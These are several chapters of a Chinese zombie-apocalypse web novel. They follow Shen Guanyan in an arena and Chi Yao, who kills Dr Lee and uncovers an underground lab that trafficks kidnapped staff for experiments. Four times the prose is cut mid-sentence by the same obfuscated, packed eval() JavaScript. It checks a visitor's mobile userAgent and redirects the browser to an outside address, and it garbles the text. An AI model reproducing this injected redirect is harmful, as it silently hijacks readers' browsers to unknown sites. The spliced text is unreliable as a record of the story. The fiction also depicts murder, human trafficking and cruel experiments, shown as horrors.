连续开车四天,沈观宴在车内睡了整整一天,才终于补足睡眠,一大早,穿着一身精致的高定西装,神清气爽地来到了竞技场。 竞技场大门前,一位西装革履的青年人已经提早等在了这里,在他身后,停泊着一辆敞篷的景区游览观光车,司机正坐在观光车上等候。 “沈先生!”一见到沈观宴的身影,青年就热情地迎上来,“自我介绍一下,我是靳南城,竞技场的总经理,沈先生还是第一次来我们竞技场吧?怎么突然想到来我们这边了呢?” “本来一直觉得没必要来这里提升实力,”沈观宴故作苦恼地叹了口气,“但最近能力用得太多,总觉得有点力不从心,我的好友林北辰就向我推荐了这里。” “林先生也曾是我们的优质会员。”靳南城嘴角挂起公式化的微笑,动作熟稔地递出一支烟给沈观宴,“可惜,林先生最近也不常光顾这里了。这段时间竞技场发生了很大的变化,沈先生请上车吧,竞技场内比较大,我们坐这辆观光车慢慢游览。” 沈观宴借着靳南城的火点燃了烟,跟随靳南城一同上了观光车,面露好奇,打量四周。 竞技场四处都是穿着制服的工作人员,数量太多,他很难在这些工作人员中找到曲卓和苏榕二人,与他们对接消息。 观光车经过一片片被围圈起来的场地。 “这里是不同的训练场,里面会刷新不同种类的丧尸,供能力者练习。”靳南城为沈观宴介绍道,“能力者进入前会戴上我们的特质手环,手环上设有紧急按钮,如果面前的丧尸难以对付,可以通过按键冻结场内丧尸的行动。” 沈观宴微微蹙起眉。 这是如何做到的? 就算竞技场内掌控了一个丧尸王,也不可能有如此精确的控制力啊。 “前方是展览大厅,里面展览了本竞技场从正式开放到现在的所有成就。”靳南城指向前方的方形建筑,又看向对面的大楼,“这是酒店休息区,里面有客房和不同的用餐休息区,我现在带您去登记入住。” 沈观宴下车,跟在靳南城身后,获得房卡后,他们穿过一楼的自助餐厅,自助餐厅里有不少穿着衬衫马甲,或者衬衫半裙的男女侍者,沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16910634|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 观宴不动声色地将所有服务生打量一遍,没在里面找到池遥和苏榕的身影。 紧接着,观光车依次路过娱乐区,表演区和拍卖区,再向前似乎还有一连串的白色建筑,但是观光车却在此处调头。 “前面是什么?”沈观宴问。 “抱歉,沈先生,那是竞技场内部人员工作区域,不对外开放。”靳南城笑着解释,“沈先生,您想先去哪里呢?” 他以为沈观宴会立刻前往训练场区域,没想到,沈观宴思索片刻,却给出了完全不同的答案。 “娱乐区。” 这几个不同区域当中,除却每天必然前往的酒店休息区,就属娱乐区的员工数量最多,池遥和苏榕最有可能在此处工作。 沈观宴和池遥苏榕两人虽然使用对讲机进行沟通,可为了防止让正在工作中的池遥和苏榕暴露身份,因此沈观宴不会主动联系他们,只能焦急地等待两位同伴主动联系。 然而,池遥只在昨天半夜主动联系了一次,说是没有进度,到了今天,就一次也没收到两人的消息了。 池遥的能力足够自保,苏榕虽然不清楚底细,但池遥足够信任他,应该也不会差,沈观宴信任这两位同伴,但终究没和他们在一起,心中还是有些担忧的。 他走进□□,随便走进一间赌场,就听到了主持人环绕整个赌场的大嗓门。 “又有不知天高地厚的小年轻来挑战我们赫老板了!大家对这场赌局怎么看,这位年轻人能破了赫老板逢赌必赢的连胜吗?” 赫老板?姓赫? 难不成是他们的情报人? 沈观宴立刻向人群骚动处走去,不远处的赌桌前围了一大圈人,其中一人身形健硕,年纪四十岁左右,摇骰子动作娴熟流畅,正是主持人口中的赫老板。 没一会儿,赫老板再度获胜,一边享受着赌场众人的欢呼,一边缓步朝楼上走去,沈观宴隔了一点距离,不紧不慢地跟在他身后。 赌场二层建造得更加豪华,赫老板似乎已经感知到沈观宴的跟踪,走进一个四周无人的包厢。 “这位年轻人,你也是来挑战我的吗?” “不是。” 沈观宴掏出池遥给的寻人启事,一把将寻人启事按在桌上。 “听说您有寻人启事上的女孩的情报,我是特意来拜访的。” 赫老板的目光移到照片中曲卓的脸上,神色了然,很快就移开了目光。 “我的确认识她,不过,我不知道你为什么执着于找她,是否对她有恶意,这样吧,你告诉我她的名字,和你们的关系,我才能告诉你她的去向。” “她叫曲卓。”沈观宴抬手,指向照片中曲卓的脸,又指向一旁的池遥,“这是曲卓的好友,也是我的同伴,她和曲卓失散后一直想找到她,我们是一起来的竞技场,我以客人身份来到这里,她应聘佣人进入竞技场。” “佣人?”赫老板的脸色立刻变了。 “好了,我已经知道你们是曲卓他们的朋友了。可是,你这位同伴恐怕凶多吉少了,竞技场内根本不缺佣人!招聘只是对外的幌子!” 125. 花城纪事3 池遥是被刺眼的光线唤醒的。 她眼皮微微翕动一下,想睁开眼,又因为过于明亮的光线而再次闭紧,在这个过程中,她的意识也渐渐转醒,渐渐听到了耳边传来的声音。 “放在这里就行,接下来的事不用你管,你出去吧。” 这是一个男性的声音,语气温和又平静,隐隐有几分熟悉。 “好的。” 不远处,响起了关门的一声轻响,随后,周围再度归于平静。 池遥放缓呼吸,放松自己的面部五官,尽可能装作还晕厥没醒的模样,心中暗暗感受自己的状态。 自己此时双手双脚都被紧紧捆绑起来,像条长虫般被丢在地上,幸运的是,对方对她的防范似乎不高,双手虽然被捆绑,但却绑在身前,而且上身,手臂均可以行动,脚上也只有脚踝被束缚在了一起。 对方似乎有恃无恐。 等了很久,也没听到房间里的人有什么动静,池遥心一横,睁开了眼。 一个穿着白大褂的人影,正揣着手,站在她对面,俯视着她,池遥一睁眼,立刻与对方对上目光。 眼前的人竟然十分熟悉,是从隐山离开后就行踪不明的Lee博士! “终于醒了。” 见她醒了,男人竟然流露出几分欣喜的情绪。 “太好了,治疗能力者,幸好你还活着,上一次对你的实验进行到一半,就被迫中断,之后一直遇不到比你更好的实验材料,我一直觉得特别惋惜。” “现在好了,有你的能力在,之前陷入瓶颈的研究又能继续进行下去了!” 池遥一边听老熟人讲话,一边默不作声地打量四周,她此时在一个既像实验室,又像手术室的地方,斜后方放着几台盖着白布的担架床,每张床上似乎都有一具实验体。 除了她之外,偌大的房间里只有Lee博士一人,而在她身边不远处,还维持猫咪形态的苏榕被五花大绑,关在笼子里。 Lee博士知道池遥的能力,以为池遥是个手无缚鸡之力的小女孩,对她放松了戒备,只绑住了她的手脚。 池遥尝试挣了一下,尽管被绑住的部位不多,但仍旧难以挣脱。 又尝试发动自己的能力,果然,此处没有设置屏蔽仪,她的能力可以正常使用。 “是要我给你的实验品续命,还是要割我的肉,抽我的血搞研究?”她冷笑一声,装作被Lee博士激怒,冷声嘲讽。 “这么生气做什么。”Lee博士对她没有任何戒备,走上前蹲在她面前,假惺惺地拍拍她的肩膀,“搬来这里之后,实验取得了很大进展,只要有你的能力辅助,就能研究出人类向丧尸进化的途径了!” 池遥抬眼,状似轻蔑地冷哼一声,又垂下头,目光看向自己的手。 她的双手被坚固的麻绳死死绑住,但被绑在身前,而且手臂没有束缚,可以在双手并拢的情况下进行有限的活动。 Lee博士蹲下身接近她时,与她之间的距离很近,没有注意到她尚未被完全固定的手。 好机会! 池遥一把揪住他的袖子,身体前倾,双手顺着衣袖摸索到Lee博士的手,紧紧攥住! 用最快的速度吸取对方的生命力! Lee博士科研能力再强,终究只是一个普通人,不到一秒,就倒在地上,彻底没有了呼吸。 池遥这才松开手,长长出了口气,仰起脑袋,打量着房间里的天花板四周,这个房间内没有监控,只要Lee博士的尸体不被发现,就不会有人发现此处的异常。 双脚被绑,她站不起身,没法挪动,只能尽可能弯折身体,举起手臂,让自己的手够到脖颈上垂下的吊坠,取出一把刀子,割断了束缚自己的绳子。 接下来,她先是打开笼门,同样割掉苏榕身上的绳子,将苏榕叫醒。 “你还好吗?” 苏榕的状态比池遥差很多,半天才恢复意识,整只小猫看起来都怏怏的,打不起精神。 “我和你之前中了同等剂量的迷药,但猫的身体太小,五感敏锐,比人类受影响更大。”半天,苏榕才缓过神来。 看来不能指望他了。 池遥对此并不意外,一直以来,苏榕的表现堪称是毫无帮助,像个随身挂件,她也不奢求这人能帮得上忙。 “除了猫,你还能变成体积更小的动物吗?” 她问。 “仓鼠?” 池遥点头。 “一会儿我换上他的衣服走出去,看看这里是什么地方,我们怎么和沈观宴联系。这段时间你就变成仓鼠,待在我的外套口袋里。” 这么说着,池遥走到Lee博士的尸体前,把他的白大褂扒下来放到一边,开始搜刮他身上的东西。 白大褂内只有一部手机,池遥在他身上翻找一圈,又找到一把钥匙链,上面栓了四五把钥匙,还有一个刻着一长串数字与字母组合的金属小牌。 手机需要指纹解锁,池遥用博士的手解锁后,改换手机密码,简单扫了一眼手机中的内容。 可惜,由于没有信号和网络,手机里可以获取的信息少得可怜,唯一有用的便是他的备忘录,记录了很多网页的账号密码。池遥扫视一圈她所在的房间,这房间内并没有电子设备,就算想要得到博士储存的信息,也要先找到一个可用的电脑才行。 还是要离开这个房间。 池遥在心中默默叹了口气,与变回人形的苏榕合力将博士的尸体搬到一个担架床上,与担架床上同样没有了呼吸的尸体放在一起,盖上白布,一时半会儿应该不会有人发现。 苏榕变回人形后,脸色十分苍白,眼神也有些散乱,看上去仍旧没能脱离迷药的副作用。 接着,池遥穿上博士的白大褂,把变成仓鼠的苏榕装进口袋,对照着反光的实验器材整理了一番衣领和袖口,把自己收拾得像个研究员后,回想着关振的模样,深吸一口气,打开面前的门。 眼前,赫然是一条明亮干净的走廊,四周无人,风格和构造都给池遥一种久违的熟悉感。 这里与隐山的研究大楼,海城研究院的风格十分相似,想必也是个研究中心。 前方不远处,有一个穿着白大褂的研究员身影,池遥走上前,礼貌地叫住对方。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16914867|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “您好,我是帮Lee博士送手机的助手,请问你知道博士他现在在哪儿吗?” “这个时间段,他应该在办公室里没出去啊?办公室在二楼啊,你怎么跑到楼下找?”对方显然对Lee博士十分熟悉。 “是吗?”池遥立刻做出惊讶的表情,“我刚才还去了一趟,没看到他啊,那我再去看看!” 说着,不等对方回应,她快速鞠了个躬,朝着远处的楼梯走去。 手机备忘录第一条就是个人电脑的账号密码,这人的电脑里一定藏着很多信息! “什么?”听了赫老板的话,沈观宴脸色骤变,“你的话是什么意思?他们昨天已经成为这里的正式员工了!” “唉,我实话告诉你吧。”赫老板长叹一口气,“曲卓那小姑娘对我有恩,她的朋友也是我的朋友,我也就不瞒着你了。” “花城看似沦陷了,实际上盘踞于花城的派系根本没有消失。这个竞技场只是对外的幌子,归根结底,都是为了花城服务的!” “花城?”沈观宴不懂他的意思,“可是竞技场不是已经占据了整座花城吗?” “因为,花城的势力,也就是建立这个竞技场那群人,早早就在花城地下建立了避难所。所有被竞技场雇佣的员工,都会在入职几天后被送到花城地下的研究中心,被当成货物研究,转卖,或者进行一些更龌龊的勾当。” 沈观宴的眉头越皱越紧。 “你一共有几位同伴变成正式员工了?是男是女?” “一共两人,一男一女,女生就是曲卓的朋友,”沈观宴指了指寻人启事照片上的池遥,“另一个男人为了配合她,是男扮女装进去的。” “长相如何?” “长得很好看。”沈观宴不明白赫老板问话的目的,但还是坦诚回答。 “幸运的话,长得漂亮的年轻女性,有很多会被包装成商品,在拍卖区进行拍卖,你可以去拍卖区找找,有没有你的朋友。” “如果没有的话,他们大概率是被选作了研究中心的实验品。如果运气好,会一直被关押在研究中心。” “如果运气不好,过一段时间之后,你就会在表演区找到你的同伴了。” “我就只能在这里被动等着吗?”沈观宴叹了口气,“您知道怎么进入花城地下吗?我想直接把他们救出来。” “那你恐怕做不到。”赫老板摇摇头,叹了口气。 “他们拥有驱使整个花城的丧尸的能力,你一个人难道能和整个花城的丧尸对抗吗?还是打消这个念头吧。” 说完,赫老板似乎生怕他继续问下去,立刻转移话题。 “对,你来的目的不是问曲卓的行踪吗?我正好知道,不过也是几个月之前的事了。” “曲卓和她的同伴一起去北方基地了。” “啊?”这是始料未及的答案,沈观宴不由地瞪大眼睛。 “是啊,她的同伴是个和你差不多高,比你的气势更恐怖,杀伐果断的男人,我亲耳听他们要朝着北方基地的方向走,就算没去到北方基地,也一定是在花城通往北方基地的路上。” 126. 花城纪事4 曲卓真的去北方基地了吗? 离开娱乐区,沈观宴坐在前往拍卖区的观光车上,反复思索。 几个月前,沈观宴还不像现在这样持续外出,大多时间都留在北方基地内,与能力者打交道,因此,北方基地内的能力者,他多少是有印象的。 但是,他是真的对曲卓这个人毫无印象。 与他相比,林北辰是巡逻队队长,基地内大部分能力者都在巡逻队就职,但林北辰同样也对曲卓毫无印象。 走下观光车,拍卖区入口处人不算多,沈观宴找到一个无人的角落,掏出对讲机,联系韩厢月。 林北辰长期在基地外巡查,但韩厢月作为韩家继承人,一直在基地内部工作。 “沈观宴?”很快,对讲机内就传来了韩厢月的声音。 “怎么了?突然联系我?”不知为何,韩厢月的声音似乎有些紧张,压得很低,能听到周围嘈杂的环境音。 “你在基地内部吗?”沈观宴问,“我想拜托你去调查一件事。” “等我一下。”韩厢月的声音有些听不清,过了一会儿,对面的吵闹的背景音消失了,韩厢月的声音再次响起。 “我在基地,有什么需要我帮忙吗?” “你知道池遥一直在找的好朋友吧?” “我知道,她叫曲卓。” “你能接触到基地内部的出入人员名单吗?帮我查一下,她是否出入过基地。” “之前池遥给我寻人启事的时候,我就已经调查过了。”韩厢月立刻给出了结果,“我之前查过北方基地建立后的所有记录,这个人从未出入过基地,你是有什么线索吗?” 看来,他想的没错,曲卓的确没有进入北方基地。 或许是临时改变计划,或许是发生了其他意外,或许是…… 总之,线索再次断了。 沈观宴叹了口气,将离开北方基地之后的经历告诉对方。 “原来如此。”听过他的话,韩厢月叹了口气,“我这边还有好几个坏消息,你想听吗?只有坏消息,没有好消息。” “你说。” “你离开基地之后,沈观离病倒了。”韩厢月长长地叹了口气,“总是毫无征兆的晕倒,昏睡,检查不出来什么原因。刚才你联系我的时候,我就在医院看顾他。” 沈观宴咬紧嘴唇,没说话。 “这只是第一个坏消息,第二件事,天山的丧尸开始行动了。以前北方基地附近完全感应不到丧尸,现在,我能察觉到有丧尸在靠近,再不阻止霍云初,丧尸潮恐怕很快就要发动了。” “这么快!”沈观宴蹙起眉,心中回想起与池遥和韩厢月闯入天山时的景象,从时间上算起来,也不过就是几天前发生的事,那时霍云初被群群丧尸簇拥起来,天山上漫山遍野都是整装待发的丧尸群,他的确已经具备了发动丧尸潮的条件。 “是啊,我也没想到。”韩厢月那边的语气也有些凝重,“北方基地这边,我已经把情况汇报上去了。只不过他们对此似乎并不重视。那边最近在争执基地周边流民的问题,一群……”他似乎是想说脏话,又硬生生忍了回去。 听到韩厢月的话,沈观宴的头更疼了。 “其实坏消息还不止这些,不过其他的和你暂时也没关系,是我和沈观离这边的事。”韩厢月的语气愈发低落,显然在北方基地的生活并不如意,“我就不打扰你,你继续找池遥他们吧,不过我觉得你可以对池遥更放心一点,她很强的,不会出问题。” 说完,韩厢月那边就切断了联系。 沈观宴站在原地,深深叹了口气。 然而,没站多久,身后就传来一阵脚步声。 “沈先生,原来您在这里。”靳南城一脸微笑,朝着他的方向走了过来。 “真意外,您居然会来拍卖区,我正好也要去这里,我带您参观一下,如何?” 沈观宴颔首,跟在他身后。 步入拍卖场,入口处的商店多是珍奇珠宝,或者奇特的文玩,沈观宴没什么兴趣,只潦草地看了几眼。 “这个拍卖场不是我负责管理的区域。”靳南城观察着他的神色,“所以,我也不知道该怎么向您介绍。” “不过,请您跟我去到二层,那里的货物您一定会喜欢的!” 整个二楼都是办公区域,来到二楼后,池遥发现每间办公室的大门前都有姓名标识,一路跟着名牌,总算找到了一个以Lee结尾的英文名字。 池遥打开Lee博士的手机,打开各个社交软件的主页看了一遍,找到本名对比一番,确认无误后,停在了门口,敲了敲门。 “博士!您的手机落在我这里了!您在办公室吗?” 房间里没有任何动静。 她又反复敲了几下,确定屋里没人,才用博士的钥匙打开办公室门,走了进去,又从室内反锁。 办公室不大,收拾得很整洁,大办公桌对侧,是一个巨大的文件柜,里面凌乱摆放着各种纸质文件和材料。 “太多了,我一个人看不完这些。” 池遥把缩在衣服口袋里打盹的苏榕放出来,打开柜子,逐页翻看起来。 一段时间过去,Lee博士的研究已经取得阶段性胜利,他们利用之前在霍云初身上抽取的血液做实验,已经得出了霍云初的血液能够将普通人类转化为高等丧尸的结论。 然而,霍云初逃走后,他的血液样本也随之丢失,因此,Lee博士的研究团队只能参照过去的研究记录,分析霍云初血液中的成分,尝试找出能够让人变成丧尸的物质,并且将这种物质稳定地提炼出来。 在用霍云初的血液做实验后,团队得到了一个高等丧尸样本,然而,摄入霍云初鲜血后的高等丧尸,血液成分却与霍云初本人完全不同,完全不能替代霍云初进行下一阶段研究。 只有霍云初是特别的。 接下来,又留存了许多从霍云初身上提取的细胞的实验记录,这部分池遥有点看不懂,总之霍云初的身体构造似乎与其他高等丧尸不太一样,他的能力十分强大,压制普通丧尸和高等丧尸的招数完全无法制服他。 翻看完这些记录文件,池遥长叹一口气。 这些记录对她而言毫无帮助,只在侧面印证了霍云初的强大之处。 她要怎么让失控的霍云初恢复人性呢? 这个问题仍旧没有答案。 接下来,她坐到办公桌前,开启了Lee博士的电 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16920126|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脑。 对照手机备忘录输入电脑的账号密码后,屏幕亮起,电脑桌面被不同规格的文件占得满满当当。 池遥依次打开电脑中的文件查看,电脑当中保存的文件多数是实验细节记录,毫无帮助。 桌面内容看完后,池遥打开硬盘中的内容查看,目光却突然停住。 新文件的题目引起了她的关注。 《基于花城现存冷冻道具,对丧尸细胞在不同种低温条件下的表现形式的研究》 花城不就是他们现在所处的地方吗? 冷冻道具? 又是什么? 文件长达几百页,池遥扫了一遍,又去看硬盘中的其他文件,这才发现,这个版块内的文件,几乎都和冷冻有关,而且,也频繁提到了一样物品。 一件具有冷冻能力的道具。 在文件中,有许多关于这件道具的描述。 冷冻道具可以在不致死的情况下冻结人的躯体,只保留意识,用于丧尸身上,就能完全冻结丧尸。 如果将这个道具作用在霍云初身上,是否能够控制住他? 池遥垂下眼,仔细看文件上对冷冻道具的描述。 图片显示,所谓的冷冻道具是一枚和空间吊坠相似的圆形宝石吊坠,质地与钻石相似。 然而,她只知道冷冻道具就在花城,却不知道究竟在什么地方。 池遥叹了口气,从电脑前站起身,想再去其他地方查找资料,脚步却忽然一顿。 她忽然记起,自己与阿霓见面前,听到了阿霓与关振的交谈。 那个时候,阿霓说她拿到了Lee博士的U盘,不过需要密钥才能打开。 她立刻在吊坠中翻找一通,找到了阿霓所说的U盘,插在电脑上。 至于密钥...... 池遥再度打开Lee博士的手机备忘录,照着里面一些没有标明用途的乱码数字输入进去,却始终没有结果。 最终,她的目光看向放在办公桌面上的钥匙链。 除钥匙以外,还有一个刻着一长串乱码的金属小牌。 对照着牌子上的乱码,池遥再一次输入密钥。 解开了。 U盘中的内容不多,大多是池遥在电脑硬盘中翻看过的文件,除此之外,只有一张图片。 这是一个建筑大楼的剖面图,内容十分详细,每一个房间前都带有说明。 池遥在建筑中间靠上的位置找到了Lee博士的办公室,立刻了然,这张图是他们所处的研究中心的剖面图。 建筑共计十层,上方的五层楼是一到五层,而下方的五层楼却标注着地下一至五层,,并且没有了标注说明。而就在底层最深处的房间里,用红色笔迹勾画出了一个箭头,写着“冷冻道具”四个大字。 等等,这张图,其实是冷冻道具的存放地址吗? 建筑的楼梯只连接着上方的九个楼层,通往地下五层的只有地下四层尽头的一截消防楼梯。 她立刻蹙起眉头,继续查看图片,突然发现,在地下四层另一侧,有一个被圈起来的点位,写着“卸货停车点”三个大字。 只要她能去到底层拿到冷冻道具,就可以直接从停车点离开! 127. 花城纪事5 调查完所有信息,池遥和苏榕将办公室恢复原状,苏榕再度变回仓鼠缩进池遥的口袋里,而池遥将U盘重新放回吊坠内,打开了门。 在办公室的这段时间,她已经把剖面图中所展示的建筑结构牢记下来了,此时熟门熟路找到了最近的楼梯,朝着楼下走去。 路过一楼的时候,楼梯口旁边一间房间的门打开了,走出几名研究员,均打量着她。 “诶!” 不久前被她问话的研究员也在其中,看到池遥的身影,远远打了个招呼,朝她走来。 “你找到Lee博士了吗?” 见有人上去攀谈,其他几名研究员纷纷移开了目光,各自散开了。 “没找到,我把二楼三楼都跑了一遍,最后把手机放在他办公室里了。”池遥无奈地一摊手。 “那你现在是要去地下找他?”研究员问。 “不找了,趁着博士不在,我去休息区找个地方歇一会儿。”池遥记得负二层和负三层各有一个休息区,她的回答并不突兀。 听完她的话,研究员同情地拍了拍她的肩膀。 池遥与这人又寒暄了几句,才转身继续下楼,心中松了口气。 到了负四层,继续下行的楼梯断了,池遥没有立刻前往通往底层的楼梯,而是朝着卸货停车点的位置走去。 首先要确保离开这里的途径可行,才能冒险去偷冷冻道具。 在池遥预先阅读的剖面图中,负四层整个楼层被称为“仓储区”,不再像上方几个楼层一样划分为数个房间,而是由几个空旷的大型仓库组成,以数字命名,穿过五号仓库和六号仓库,就到了停车点。 然而,聚集在负四层的人比池遥想象中多了不少。 有不少穿着工服,形似工人的人正在不同仓库中进进出出,将货物搬进仓库内,很多穿白大褂的研究员们也在其中,不过,这些研究员有不少都推着担架床,板车等工具。 池遥面色如常,自然地混进人流中,没有引起任何人的注意,然而,越朝前走,穿白大褂的身影越多,显然,这些研究员的目标也是五号和六号仓库。 这两个仓库究竟是保管什么的? 池遥心中有些不好的预感。 很快,就到了五号仓库前,池遥跟随着几名研究员一同走进仓库,却发现仓库中到处都是被五花大绑的人,几乎全部穿着竞技场服务生的制服,是和她与苏榕一样,在睡梦中被迷晕绑到研究中心的服务生。 在研究中心遇到老熟人Lee博士后,池遥一直以为自己是因为被Lee博士认出,才被绑到这里的,苏榕也只是受她牵连一同被绑,此时看到仓库里的人们,才隐隐明白了什么。 从营业起,竞技场一直不停地对外招募服务生,前来应聘的人只多不少。 竞技场真的缺少服务生吗? 恐怕不然,被招募进来的服务生在竞技场内高强度工作几天后,往往会放松警惕,在这种情况下,就算是她和苏榕这种能力者,也会中了竞技场的计,被直接迷晕送到研究中心。 这些被五花大绑的人质脖子上都挂着一个小牌子,写着不同号码,来到仓库内的研究员们,有的像池遥一样在仓库内边走边看,有些则在仓库深处的柜台前排队等候。 柜台前站着几位穿着黑色制服的壮汉,应该就是仓库的管理人员,正像商场结账柜台的柜员一样与研究员们对话。 池遥心中好奇,走到队伍附近,正好能听清研究员们的说话声。 “我要四个身体健康,三十五岁以下,BMI在18到24之间的男性实验体。” 几名壮汉立刻搜寻出几位符合条件的人质,扛着表情惊恐,无法抵抗的人质放在了研究员面前的板车里。 “十个四十岁以下的实验品。” 排在后面的研究员拉着一个巨大的铁笼,壮汉们将十个人丢进笼子,研究员拉着笼子转身离开了。 有几位在仓库内闲逛的研究员拉着他们挑中的实验体走过来,壮汉依次摘下人质脖子上的牌子登记,就让这些研究员带走了。 池遥收回目光,心中一酸,为掩饰住自己的表情,她迅速低下头,装作在打量自己脚边的一个人质。 蜷坐在角落里的人质感受到她的目光,抬起头来,一与她对上视线,立刻惊恐地摇头,眼中流露出恳求的神色。 一时之间,池遥竟然有些畏惧对方的目光,立刻移开视线,不再看周围的人质们,继续向前走。 不行,她的目的是查看停车点,不能在五号仓库停留太久。 出了五号仓库,再步行几分钟,就到了六号仓库。 六号仓库内也聚集了不少研究员,只不过,六号仓库里的货品不再是人类,而是被铁链固定住的各种丧尸。 一走近六号仓库,就有一股冷风袭来,整个仓库内部冷得像冰窖,关押着的丧尸们身体表面结着一层薄冰,已经被冷冻住了。 池遥仔细观察四周,仓库内并没有制冷设备,但却一直维持着零下的温度。 难不成,这就是冷冻道具的作用? “你!”她还在四处观察,却突然听到身后传来了一个女声,一名女研究员拍了拍她的肩膀。 “你是来申请丧尸的吗?”对方问她。 “我不是。”池遥摇摇头。 “那太好了,你现在有事吗?我们项目组要申请两只丧尸,但我只带了一个担架,我一个人搬不走两只丧尸,你能不能搭把手,帮我搬到组里的实验室?” 池遥第一反应就是拒绝,但思考了片刻,点点头,同意了。 研究中心有众多项目,Lee博士的文件只记录了他参与的实验项目,说不定可以从其他项目组里得到更多情报。 她跟着女研究员一同去六号仓库门口的柜台前排队,轮到二人时,她听到了女研究员的声音。 “我要两只体貌完整,身材偏瘦,尽量年轻的女性一阶丧尸。” 两只丧尸很快被扔在担架上,池遥趁机摸了一把丧尸的皮肤,果然是冻得僵硬的触感。 她和女研究员一人抬着担架一边,从货梯上到负一层,来到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16931308|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了女研究员所在的项目组。 “你是哪个组里的?怎么没见过你?” “我是Lee博士组里的。”池遥脑海中疯狂回忆起在Lee博士电脑里找到的资料,思考Lee博士负责的项目名,却想到了三四个,不知道正在推进的是哪一个。 “啊,那和我们还算是有点交集。”女研究员立刻了然地点头,带着池遥进了实验室。 这间实验室内摆放着数个巨大的透明培养仓,培养仓前的大屏幕显示的仓内实时温度数字全部低于零下三十度。 而培养仓内的物体,池遥不知该称为生物还是什么,则让她一时呆住了。 那大概是个人形生物,可是外表皮肤却全部变成了透明的,黏糊糊的胶质物,清晰显现出了体内各种器官和骨骼的形状。 “哦,那是丧尸。”女研究员见她盯着培养仓发呆,解释道。 “把它们浸泡在特质溶液里,就可以把皮肤变成这个形态,这样不需要解剖就能观察到内脏器官了,很方便实验观测,而且还能维持存活状态。” 池遥点点头,不知道该说什么,只能扭开头,依次看向其他培养仓。 所有的培养仓内都是皮肤透明的丧尸,清一色均为女性,更让她心寒的是,一多半培养仓中的丧尸,可以直接看到子宫内的胎儿轮廓,有不少胎儿已经发育完全,能明显看出身体构造。 是孕妇变成的丧尸。 那么,这些是特意捕捉到的丧尸,还是用孕妇......变成的丧尸? 池遥不敢细想,她反复吞咽了几次,才恢复了平静的语气,装作好奇问道。 “是在做丧尸繁殖相关的实验吗?” “差不多吧。”女研究员走到池遥身边,“Lee博士不是在研究将人类转化为高等丧尸的实验吗。我们是在研究人类变成丧尸后,能否通过感染以外的方式繁衍生息。毕竟如果博士的愿景成功,所有人都变成高等丧尸后,也要保留生育功能才行啊。” “所以啊,咱们几个项目组之间也算是有交集。” 池遥咬紧牙关,说不出话,只能回对方一个礼貌的笑容。 她将控制不住发抖的手塞进白大褂口袋里,手指触碰到仓鼠绒绒温暖的皮毛,对方似乎感受到了她的情绪,朝着她的手指蹭了过来,让僵冷的手掌渐渐有了暖意。 池遥压抑的情绪终于缓和几分。 “是啊,大家都是为了同一个目标努力。”她慢慢调整表情,没有流露出任何异常。 “对,都是为了全人类。”女研究员拍拍池遥的肩膀,池遥看上去十分年轻,她估计对方只是Lee博士项目组里的一个实习生或者助手,不是核心人员,不认识也很正常,没有深思。 “为了全人类。”池遥轻轻呼出一口气,重复女研究员的话,柔和地笑了起来。 正对着她的培养仓中,丧尸腹中的胎儿早已浑身青黑,面容扭曲。 在母体变成丧尸之时,腹中的胎儿也会跟着一同死亡。 丧尸本就是死物,根本不具备生育功能。 128. 花城纪事6 与女研究员聊了一会儿,池遥套出了研究中心的不少情报。 她所在的研究中心距离竞技场不远,就在竞技场地下。 研究中心的所有研究员遵循着严格的工时规则,从每天上午八点一直工作到晚上十点,十点以后,研究员们会返回顶层的宿舍区休息。 仓储区的工人和看管仓库的黑制服壮汉并非研究基地的员工,而是花城地上竞技场的员工,因此只在晚上八点前工作,八点一到,负四层的所有人员都会撤离研究中心。 出了实验室,已经是下午五点了。 池遥再次去到负四层,轻车熟路地穿过五号,六号仓库,五号仓库里的人质数量减少了一些,剩下的人们都蜷缩在角落里瑟瑟发抖,生怕被注意到。 在众多惊惧的面容中,池遥还注意到了几具人类的尸体,这些人似乎在被研究员挑走前就断了气,腐烂的尸体与活人混在一起。 